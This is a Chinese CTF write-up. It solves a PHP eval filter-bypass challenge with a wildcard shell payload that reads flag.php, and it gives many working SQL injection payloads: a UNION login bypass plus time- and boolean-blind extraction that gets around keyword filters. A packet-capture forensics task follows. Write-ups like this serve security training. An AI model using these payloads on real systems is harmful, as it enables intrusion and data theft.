序
12月份参加的线下赛,补一下,个人赛成绩不怎么好,在这记录一下
web
web3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0); if( isset($_GET['a']) ){ $a = $_GET['a']; if( strlen($a)>27 ){ die(strval(strlen($a)) . " Long."); } if( preg_match("/[A-Zb-z0-9_$.&;|^~![\](){}\$@\*]+/", $a) ){ die("NO."); } eval("echo '" . $a ."';"); } else { show_source(__FILE__); } ?>
|
安恒17年月赛出过类似的
过滤了^~
等,导致不能异或取反绕过
过滤了[]@
等字符,导致不能上传临时文件使用通配符匹配临时文件执行的方式(p牛之前提出的方法)
之前也看过一叶飘零师傅提供的方法:
是构造
'?><?=`/???/??? ????????`?>
‘是为了闭合这里代码里的echo,之后使用?>闭合之前的代码,<?=?>这里起到了echo的作用
这里的/???/??? ????????是为了匹配到/bin/cat flag.php
但是这样直接发过去目标会被卡死,因为匹配到的结果有很多
仔细看代码发现没有过滤a,于是可以通过以下的方式
'?><?=`/???/?a? ??a?????`?>
访问
http://10.10.22.12/?a=%27?%3E%3C?=`/???/?a?%20??a?????`?%3E

获取flag:
flag{ZqhzwSifav4zf2ejop2ieKqxwQaEBOXf}
web1:
没做出,说一下思路
打开题目说需要登录

这里过滤了很多字符,例如or、in、空格、=、>、<、like、^、regexp、substr、mid、right等等
登录很好构造,构造下面的payload就可以登录成功
1
| username='UNION/**/SELECT/**/1,2,3%23&password=
|

这里还输出了sql语句
1
| SELECT * FROM users WHERE username=''UNION/**/SELECT/**/1,2,3#' and passwd='';
|
猜测后端逻辑大概是:
1 2 3 4 5 6
| $sql="SELECT * FROM users WHERE username='".$_POST[username]."' and passwd='".$_POST[password]."'"; $result=mysql_query($sql); if(mysql_num_rows($result)>0) { echo "welcome Admin!"; }
|
可以看到这里登录成功后除了welcome Admin!之外什么也没有
盯着题目看了好久无从下手,只能换个思路尝试盲注,当时首先想到的是时间盲注
发现sleep被过滤了、这里通过benchmark(10000000,md5(1))
可以绕过

于是可以通过:
1
| username='UNION/**/SELECT/**/1,if(1,benchmark(10000000,md5(1)),1),3%23&password=
|
->延时
1
| username='UNION/**/SELECT/**/1,if(0,benchmark(10000000,md5(1)),1),3%23&password=
|
->正常响应
这样的方式去进行时间盲注判断
这里需要突破的两个地方:
1、过滤了=、>、<、^、like、regexp
等字符,如何构造布尔逻辑判断
2、过滤了substr、mid、in、right
等,如何逐位截取字符串
突破第一点:
方法一:
经过测试找到方法,可以通过/除号进行布尔逻辑判断,这里通过cast(除法运算结果 as char(1))
可以将运算结果转为0和1,由此就可以解决构造布尔判断的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| mysql> select ascii(version()); +------------------+ | ascii(version()) | +------------------+ | 53 | +------------------+ 1 row in set (0.00 sec) mysql> select cast(ascii(version())/52 as char(1)); +--------------------------------------+ | cast(ascii(version())/52 as char(1)) | +--------------------------------------+ | 1 | +--------------------------------------+ 1 row in set, 1 warning (0.01 sec) mysql> select cast(ascii(version())/53 as char(1)); +--------------------------------------+ | cast(ascii(version())/53 as char(1)) | +--------------------------------------+ | 1 | +--------------------------------------+ 1 row in set, 1 warning (0.00 sec) mysql> select cast(ascii(version())/54 as char(1)); +--------------------------------------+ | cast(ascii(version())/54 as char(1)) | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set, 1 warning (0.00 sec)
|
获取表名,这里就能够成功获取到当前数据库group_concat(table_name)
的第一个字符和长度了
因为这里过滤了in
,所以用sys.schema_table_statistics代替information_schema
1
| username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/length(group_concat(table_name))/**/from/**/sys.schema_table_statistics)/14)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=
|
->延时
1
| username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/length(group_concat(table_name))/**/from/**/sys.schema_table_statistics)/15)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=
|
->正常响应
所以当前数据库表名长度为14


第一个字符
1
| username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/ascii(left(group_concat(table_name),1))/**/from/**/sys.schema_table_statistics)/117)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=1
|
->延时

1
| username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/ascii(left(group_concat(table_name),1))/**/from/**/sys.schema_table_statistics)/118)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=1
|
->正常响应

判断出group_concat(table_name)
第一个字符的ascii码为117,也就是u
方法二:
使用between and
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| mysql> select version(); +-------------------------+ | version() | +-------------------------+ | 5.7.32-0ubuntu0.16.04.1 | +-------------------------+ 1 row in set (0.00 sec) mysql> select ascii(version()); +------------------+ | ascii(version()) | +------------------+ | 53 | +------------------+ 1 row in set (0.00 sec) mysql> select ascii(version()) between 1 and 52; +-----------------------------------+ | ascii(version()) between 1 and 52 | +-----------------------------------+ | 0 | +-----------------------------------+ 1 row in set (0.00 sec) mysql> select ascii(version()) between 1 and 53; +-----------------------------------+ | ascii(version()) between 1 and 53 | +-----------------------------------+ | 1 | +-----------------------------------+ 1 row in set (0.00 sec)
|
突破第二点:
因为ascii只能获取到第一个字符的ascii码,而且这里过滤了大部分常见的substr、mid
字符串截取函数,并且过滤了一些特殊字符,导致情况变的有些困难
1、如果要使用trim
去进行判断的话,需要用到leading和trailing,但是这里过滤了in
用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| trim(leading 's1' from 's2') 从左边截取,删除字符串s2当中的字符串s1 trim(trailing 's1' from 's2') 从右边截取,删除字符串s2当中的字符串s1 mysql> select ascii(trim(version())); +------------------------+ | ascii(trim(version())) | +------------------------+ | 53 | +------------------------+ 1 row in set (0.00 sec) mysql> select trim(leading '5' from version()); +----------------------------------+ | trim(leading '5' from version()) | +----------------------------------+ | .7.32-0ubuntu0.16.04.1 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select ascii(trim(leading '5' from version())); +-----------------------------------------+ | ascii(trim(leading '5' from version())) | +-----------------------------------------+ | 46 | +-----------------------------------------+ 1 row in set (0.00 sec) mysql> select trim(leading '5.' from version()); +-----------------------------------+ | trim(leading '5.' from version()) | +-----------------------------------+ | 7.32-0ubuntu0.16.04.1 | +-----------------------------------+ 1 row in set (0.00 sec)
|
2、过滤了right,导致下面方法不能用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| mysql> select version(); +-------------------------+ | version() | +-------------------------+ | 5.7.32-0ubuntu0.16.04.1 | +-------------------------+ 1 row in set (0.00 sec) mysql> select right(left(version(),2),1); +----------------------------+ | right(left(version(),2),1) | +----------------------------+ | . | +----------------------------+ 1 row in set (0.00 sec) mysql> select right(left(version(),3),1); +----------------------------+ | right(left(version(),3),1) | +----------------------------+ | 7 | +----------------------------+ 1 row in set (0.00 sec)
|
绕过方法:
1、可以使用replace,猜测出第一个字符后,把该字符替换为空,这样依次处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| mysql> select replace(version(),'5.',''); +----------------------------+ | replace(version(),'5.','') | +----------------------------+ | 7.32-0ubuntu0.16.04.1 | +----------------------------+ 1 row in set (0.00 sec) mysql> select replace(version(),'5.7',''); +-----------------------------+ | replace(version(),'5.7','') | +-----------------------------+ | .32-0ubuntu0.16.04.1 | +-----------------------------+ 1 row in set (0.00 sec)
|
方法缺陷:
加入flag数据如:flag{123123},当判断到第3个字符后,第四次判断是replace
把123变成空,导致不能正常判断了
方法改进:使用replace+left
组合的方式(这种方法也有一些小的缺陷,如果刚好第一个字符和第二个字符一样,那么使用left依旧不能解决这种问题,不过只要遇到了这个缺陷,那么在知道内容长度的情况下,就可以判断出第二个字符了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| mysql> select replace('123123','123',''); +----------------------------+ | replace('123123','123','') | +----------------------------+ | | +----------------------------+ 1 row in set (0.00 sec) mysql> select replace(left('123123',4),'123',''); +------------------------------------+ | replace(left('123123',4),'123','') | +------------------------------------+ | 1 | +------------------------------------+ 1 row in set (0.00 sec) mysql> select replace(left('123123',5),'1231',''); +-------------------------------------+ | replace(left('123123',5),'1231','') | +-------------------------------------+ | 2 | +-------------------------------------+ 1 row in set (0.00 sec)
|
最终构造:
1
| username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/ascii(replace(left(group_concat(table_name),7),'users,',''))/**/from/**/sys.schema_table_statistics)/83)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=1
|
->延时
判断出users,的下一个表名第一个字符ascii码为70,为大写的F

后来问了做出这道题的学长,表名其实应该是(SeCrrreT),当时看ascii码是70就延时了,就没往后试了,以为是F
绕过方法2:使用mysql字符串反转函数reverse
(由于比赛的时候不能上网,记不起来这个函数名了,所以没有去试该函数是否被过滤了,这里说一下方法)
使用left+reverse
组合进行绕过,用法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| mysql> select version(); +-------------------------+ | version() | +-------------------------+ | 5.7.32-0ubuntu0.16.04.1 | +-------------------------+ 1 row in set (0.00 sec) mysql> select reverse(left(version(),2)); +----------------------------+ | reverse(left(version(),2)) | +----------------------------+ | .5 | +----------------------------+ 1 row in set (0.00 sec) mysql> select ascii(reverse(left(version(),2))); +-----------------------------------+ | ascii(reverse(left(version(),2))) | +-----------------------------------+ | 46 | +-----------------------------------+ 1 row in set (0.00 sec) mysql> select reverse(left(version(),3)); +----------------------------+ | reverse(left(version(),3)) | +----------------------------+ | 7.5 | +----------------------------+ 1 row in set (0.00 sec) mysql> select ascii(reverse(left(version(),3))); +-----------------------------------+ | ascii(reverse(left(version(),3))) | +-----------------------------------+ | 55 | +-----------------------------------+ 1 row in set (0.00 sec)
|
绕过方法3:
赛后和同事交流后发现依旧可以使用trim
,用法:
trim(both 's1' from 's2')
删除字符串s2两边的s1
只要是字符串删除的方法,均会遇到上面所说的像replace那样的问题,使用left
就能解决
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| mysql> select trim(both '123' from '123123'); +--------------------------------+ | trim(both '123' from '123123') | +--------------------------------+ | | +--------------------------------+ 1 row in set (0.00 sec) mysql> select trim(both '123' from left('123123',4)); +----------------------------------------+ | trim(both '123' from left('123123',4)) | +----------------------------------------+ | 1 | +----------------------------------------+ 1 row in set (0.00 sec)
|
其实也可以不用盲注
知道了系统的用户名为root
按照上面的方法构造:
1
| username='/**/and/**/true%23&password=
|
->响应中存在welcome Admin
1
| username='/**/and/**/false%23&password=
|
->响应中不存在welcome Admin
使用布尔盲注代替时间盲注即可
比赛时这道题最终还是没有做出来,赛后根据这道题目做了个docker环境,题目代码逻辑和过滤关键字如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php include('config.php'); if(isset($_POST['username']) && isset($_POST['password'])) { if((preg_match("/sleep|update|extract|in|substr|mid|right|like|regexp|<|=|>|\^|\"|or/i", $_POST['username'])) || preg_match("/sleep|update|extract|in|substr|mid|right|like|regexp|<|=|>|\^|\"|or/i", $_POST['password'])) { die("hacker!!!"); } else { $conn=mysqli_connect($dbhost,$dbuser,$dbpasswd,$dbname); $sql="select * from users where username='".$_POST['username']."' and password='".$_POST['password']."'"; echo $sql."\n\n"; if(($result=mysqli_query($conn,$sql)) && (mysqli_num_rows($result)>0)) { echo "<h1 color='red'>Welcome,Admin!</h1>"; } else { echo "Login Error"; } } } ?>
|
根据上面的绕过方法编写脚本

misc
hackshark
在过滤器当中输入:http.request.method==POST
过滤出http POST流量,分析http流量,发现为sql布尔盲注流量,猜测盲注的password字段就是flag
当判断为真时,响应当中会有<img src="../images/slap.jpg"
的内容

根据响应过滤出相应的内容
http contains "/images/slap.jpg"

追踪http流,获取flag
flag{booool_sqli}